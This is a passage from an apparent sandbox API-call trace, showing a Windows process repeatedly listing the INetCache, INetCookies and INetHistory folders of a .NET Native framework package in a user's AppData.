nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0214.367] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings", cAlternateFileName="")) returned 1 [0214.367] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0214.367] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0214.368] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.368] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0214.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0214.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0214.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.369] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC", lpFilePart=0x0) returned 0x60 [0214.369] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\ac\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0214.376] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.376] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0214.377] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0214.377] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0214.377] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0214.377] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0214.378] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0214.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.379] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC", lpFilePart=0x0) returned 0x60 [0214.379] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\ac\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0214.380] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.380] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0214.380] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0214.381] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0214.381] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0214.381] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.381] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0214.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0214.382] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetCache", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetCache", lpFilePart=0x0) returned 0x6a [0214.382] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\ac\\inetcache\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0214.384] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.385] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.385] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0214.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0214.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0214.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0214.385] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetCache", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetCache", lpFilePart=0x0) returned 0x6a [0214.385] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\ac\\inetcache\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0214.386] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.386] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.386] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0214.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0214.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0214.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0214.386] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetCookies", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetCookies", lpFilePart=0x0) returned 0x6c [0214.386] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetCookies\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\ac\\inetcookies\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0214.387] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.387] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.387] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0214.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0214.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0214.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0214.387] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetCookies", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetCookies", lpFilePart=0x0) returned 0x6c [0214.387] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetCookies\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\ac\\inetcookies\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0214.388] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.388] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.388] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0214.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0214.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0214.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0214.388] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetHistory", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetHistory", lpFilePart=0x0) returned 0x6c [0214.389] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetHistory\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\ac\\inethistory\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0214.389] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.389] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.389] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0214.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0214.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0214.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0214.546] GetFullPathNameW (in: 